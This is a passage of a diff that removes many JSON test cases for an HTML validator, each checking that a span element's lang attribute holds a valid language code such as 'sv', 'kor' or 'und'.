-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mal'",
-"input": "<span lang=mal>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mao'",
-"input": "<span lang=mao>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'fo'",
-"input": "<span lang=fo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mak'",
-"input": "<span lang=mak>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'egy'",
-"input": "<span lang=egy>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'znd'",
-"input": "<span lang=znd>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ss'",
-"input": "<span lang=ss>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sr'",
-"input": "<span lang=sr>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sq'",
-"input": "<span lang=sq>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sit'",
-"input": "<span lang=sit>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sw'",
-"input": "<span lang=sw>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sv'",
-"input": "<span lang=sv>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'su'",
-"input": "<span lang=su>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'st'",
-"input": "<span lang=st>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sk'",
-"input": "<span lang=sk>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'si'",
-"input": "<span lang=si>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sh'",
-"input": "<span lang=sh>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'so'",
-"input": "<span lang=so>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sn'",
-"input": "<span lang=sn>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sm'",
-"input": "<span lang=sm>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sl'",
-"input": "<span lang=sl>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sc'",
-"input": "<span lang=sc>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sa'",
-"input": "<span lang=sa>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sg'",
-"input": "<span lang=sg>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'se'",
-"input": "<span lang=se>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sd'",
-"input": "<span lang=sd>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'zen'",
-"input": "<span lang=zen>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kbd'",
-"input": "<span lang=kbd>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'enm'",
-"input": "<span lang=enm>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'iro'",
-"input": "<span lang=iro>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'vai'",
-"input": "<span lang=vai>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'csb'",
-"input": "<span lang=csb>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tsn'",
-"input": "<span lang=tsn>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'lg'",
-"input": "<span lang=lg>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'lb'",
-"input": "<span lang=lb>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'la'",
-"input": "<span lang=la>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ln'",
-"input": "<span lang=ln>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'lo'",
-"input": "<span lang=lo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'li'",
-"input": "<span lang=li>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'lv'",
-"input": "<span lang=lv>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'lt'",
-"input": "<span lang=lt>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'lu'",
-"input": "<span lang=lu>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'hin'",
-"input": "<span lang=hin>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'fij'",
-"input": "<span lang=fij>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'fin'",
-"input": "<span lang=fin>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'eus'",
-"input": "<span lang=eus>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'yi'",
-"input": "<span lang=yi>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'non'",
-"input": "<span lang=non>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ceb'",
-"input": "<span lang=ceb>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'yo'",
-"input": "<span lang=yo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'dan'",
-"input": "<span lang=dan>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'cel'",
-"input": "<span lang=cel>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bat'",
-"input": "<span lang=bat>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nob'",
-"input": "<span lang=nob>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'dak'",
-"input": "<span lang=dak>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ces'",
-"input": "<span lang=ces>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'dar'",
-"input": "<span lang=dar>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'son'",
-"input": "<span lang=son>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'day'",
-"input": "<span lang=day>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nor'",
-"input": "<span lang=nor>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'gba'",
-"input": "<span lang=gba>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ssa'",
-"input": "<span lang=ssa>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'hil'",
-"input": "<span lang=hil>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kpe'",
-"input": "<span lang=kpe>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'man'",
-"input": "<span lang=man>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'wel'",
-"input": "<span lang=wel>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'el'",
-"input": "<span lang=el>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'eo'",
-"input": "<span lang=eo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'en'",
-"input": "<span lang=en>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'lam'",
-"input": "<span lang=lam>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ee'",
-"input": "<span lang=ee>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tpi'",
-"input": "<span lang=tpi>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mdf'",
-"input": "<span lang=mdf>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mas'",
-"input": "<span lang=mas>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mar'",
-"input": "<span lang=mar>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'eu'",
-"input": "<span lang=eu>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'et'",
-"input": "<span lang=et>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'es'",
-"input": "<span lang=es>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ru'",
-"input": "<span lang=ru>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'rw'",
-"input": "<span lang=rw>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'goh'",
-"input": "<span lang=goh>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sms'",
-"input": "<span lang=sms>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'smo'",
-"input": "<span lang=smo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'smn'",
-"input": "<span lang=smn>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'smj'",
-"input": "<span lang=smj>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'smi'",
-"input": "<span lang=smi>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nic'",
-"input": "<span lang=nic>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'rm'",
-"input": "<span lang=rm>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'rn'",
-"input": "<span lang=rn>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ro'",
-"input": "<span lang=ro>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'dsb'",
-"input": "<span lang=dsb>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sma'",
-"input": "<span lang=sma>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'gor'",
-"input": "<span lang=gor>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ast'",
-"input": "<span lang=ast>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'orm'",
-"input": "<span lang=orm>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'que'",
-"input": "<span lang=que>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ori'",
-"input": "<span lang=ori>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'crh'",
-"input": "<span lang=crh>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'asm'",
-"input": "<span lang=asm>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'pus'",
-"input": "<span lang=pus>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kik'",
-"input": "<span lang=kik>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ltz'",
-"input": "<span lang=ltz>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ath'",
-"input": "<span lang=ath>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'wln'",
-"input": "<span lang=wln>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'isl'",
-"input": "<span lang=isl>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'xh'",
-"input": "<span lang=xh>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mag'",
-"input": "<span lang=mag>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mai'",
-"input": "<span lang=mai>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'xx'",
-"input": "<span lang=xx>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mah'",
-"input": "<span lang=mah>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tel'",
-"input": "<span lang=tel>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'lav'",
-"input": "<span lang=lav>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'zap'",
-"input": "<span lang=zap>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'yid'",
-"input": "<span lang=yid>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kok'",
-"input": "<span lang=kok>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kom'",
-"input": "<span lang=kom>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kon'",
-"input": "<span lang=kon>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ukr'",
-"input": "<span lang=ukr>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ton'",
-"input": "<span lang=ton>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kos'",
-"input": "<span lang=kos>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kor'",
-"input": "<span lang=kor>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tog'",
-"input": "<span lang=tog>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'hun'",
-"input": "<span lang=hun>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'hup'",
-"input": "<span lang=hup>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'cym'",
-"input": "<span lang=cym>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'udm'",
-"input": "<span lang=udm>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bej'",
-"input": "<span lang=bej>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ben'",
-"input": "<span lang=ben>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bel'",
-"input": "<span lang=bel>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bem'",
-"input": "<span lang=bem>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tsi'",
-"input": "<span lang=tsi>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'aar'",
-"input": "<span lang=aar>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ber'",
-"input": "<span lang=ber>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nzi'",
-"input": "<span lang=nzi>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sai'",
-"input": "<span lang=sai>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ang'",
-"input": "<span lang=ang>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'pra'",
-"input": "<span lang=pra>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'san'",
-"input": "<span lang=san>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bho'",
-"input": "<span lang=bho>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sal'",
-"input": "<span lang=sal>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'pro'",
-"input": "<span lang=pro>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'raj'",
-"input": "<span lang=raj>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sad'",
-"input": "<span lang=sad>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'anp'",
-"input": "<span lang=anp>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'rap'",
-"input": "<span lang=rap>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sas'",
-"input": "<span lang=sas>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'iba'",
-"input": "<span lang=iba>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'myn'",
-"input": "<span lang=myn>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'min'",
-"input": "<span lang=min>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'lim'",
-"input": "<span lang=lim>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'lin'",
-"input": "<span lang=lin>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nah'",
-"input": "<span lang=nah>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'lit'",
-"input": "<span lang=lit>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'efi'",
-"input": "<span lang=efi>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'srn'",
-"input": "<span lang=srn>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'arn'",
-"input": "<span lang=arn>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ypk'",
-"input": "<span lang=ypk>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mis'",
-"input": "<span lang=mis>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kac'",
-"input": "<span lang=kac>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kab'",
-"input": "<span lang=kab>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kaa'",
-"input": "<span lang=kaa>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kan'",
-"input": "<span lang=kan>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kam'",
-"input": "<span lang=kam>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kal'",
-"input": "<span lang=kal>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kas'",
-"input": "<span lang=kas>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kar'",
-"input": "<span lang=kar>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kaw'",
-"input": "<span lang=kaw>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kau'",
-"input": "<span lang=kau>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kat'",
-"input": "<span lang=kat>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kaz'",
-"input": "<span lang=kaz>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tyv'",
-"input": "<span lang=tyv>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'awa'",
-"input": "<span lang=awa>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'urd'",
-"input": "<span lang=urd>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ka'",
-"input": "<span lang=ka>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'doi'",
-"input": "<span lang=doi>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kg'",
-"input": "<span lang=kg>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kk'",
-"input": "<span lang=kk>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kj'",
-"input": "<span lang=kj>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ki'",
-"input": "<span lang=ki>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ko'",
-"input": "<span lang=ko>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kn'",
-"input": "<span lang=kn>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'km'",
-"input": "<span lang=km>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kl'",
-"input": "<span lang=kl>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ks'",
-"input": "<span lang=ks>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kr'",
-"input": "<span lang=kr>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kw'",
-"input": "<span lang=kw>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kv'",
-"input": "<span lang=kv>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ku'",
-"input": "<span lang=ku>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ky'",
-"input": "<span lang=ky>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ota'",
-"input": "<span lang=ota>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'kut'",
-"input": "<span lang=kut>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tkl'",
-"input": "<span lang=tkl>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nld'",
-"input": "<span lang=nld>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'oji'",
-"input": "<span lang=oji>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'oci'",
-"input": "<span lang=oci>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ha'",
-"input": "<span lang=ha>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'wol'",
-"input": "<span lang=wol>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'jav'",
-"input": "<span lang=jav>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'hrv'",
-"input": "<span lang=hrv>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ger'",
-"input": "<span lang=ger>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mga'",
-"input": "<span lang=mga>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'hit'",
-"input": "<span lang=hit>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'dyu'",
-"input": "<span lang=dyu>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ssw'",
-"input": "<span lang=ssw>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'de'",
-"input": "<span lang=de>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'da'",
-"input": "<span lang=da>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'dz'",
-"input": "<span lang=dz>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'lui'",
-"input": "<span lang=lui>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'dv'",
-"input": "<span lang=dv>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ita'",
-"input": "<span lang=ita>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'geo'",
-"input": "<span lang=geo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'him'",
-"input": "<span lang=him>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'gem'",
-"input": "<span lang=gem>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'crp'",
-"input": "<span lang=crp>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'qu'",
-"input": "<span lang=qu>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bas'",
-"input": "<span lang=bas>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'baq'",
-"input": "<span lang=baq>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bad'",
-"input": "<span lang=bad>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nep'",
-"input": "<span lang=nep>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'cre'",
-"input": "<span lang=cre>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ban'",
-"input": "<span lang=ban>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'x'",
-"input": "<span lang=x>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bal'",
-"input": "<span lang=bal>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bam'",
-"input": "<span lang=bam>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bak'",
-"input": "<span lang=bak>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'shn'",
-"input": "<span lang=shn>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'bai'",
-"input": "<span lang=bai>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'arp'",
-"input": "<span lang=arp>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'art'",
-"input": "<span lang=art>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'arw'",
-"input": "<span lang=arw>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'qtz'",
-"input": "<span lang=qtz>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ara'",
-"input": "<span lang=ara>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'arc'",
-"input": "<span lang=arc>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'arg'",
-"input": "<span lang=arg>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sem'",
-"input": "<span lang=sem>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'sel'",
-"input": "<span lang=sel>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'nub'",
-"input": "<span lang=nub>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'arm'",
-"input": "<span lang=arm>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'btk'",
-"input": "<span lang=btk>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'lus'",
-"input": "<span lang=lus>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'iku'",
-"input": "<span lang=iku>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mus'",
-"input": "<span lang=mus>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'lua'",
-"input": "<span lang=lua>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'lub'",
-"input": "<span lang=lub>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'lug'",
-"input": "<span lang=lug>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ira'",
-"input": "<span lang=ira>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'mun'",
-"input": "<span lang=mun>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tur'",
-"input": "<span lang=tur>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'lun'",
-"input": "<span lang=lun>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'luo'",
-"input": "<span lang=luo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'men'",
-"input": "<span lang=men>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'wa'",
-"input": "<span lang=wa>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tso'",
-"input": "<span lang=tso>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'wo'",
-"input": "<span lang=wo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'jv'",
-"input": "<span lang=jv>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tut'",
-"input": "<span lang=tut>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ind'",
-"input": "<span lang=ind>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tuk'",
-"input": "<span lang=tuk>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'tum'",
-"input": "<span lang=tum>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ja'",
-"input": "<span lang=ja>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'cop'",
-"input": "<span lang=cop>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'cos'",
-"input": "<span lang=cos>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'cor'",
-"input": "<span lang=cor>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'ilo'",
-"input": "<span lang=ilo>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'fiu'",
-"input": "<span lang=fiu>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'gwi'",
-"input": "<span lang=gwi>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'und'",
-"input": "<span lang=und>",
-"fail-if": "invalid-lang-code"},
-
-{"description": "valid lang attribute 'gws'",
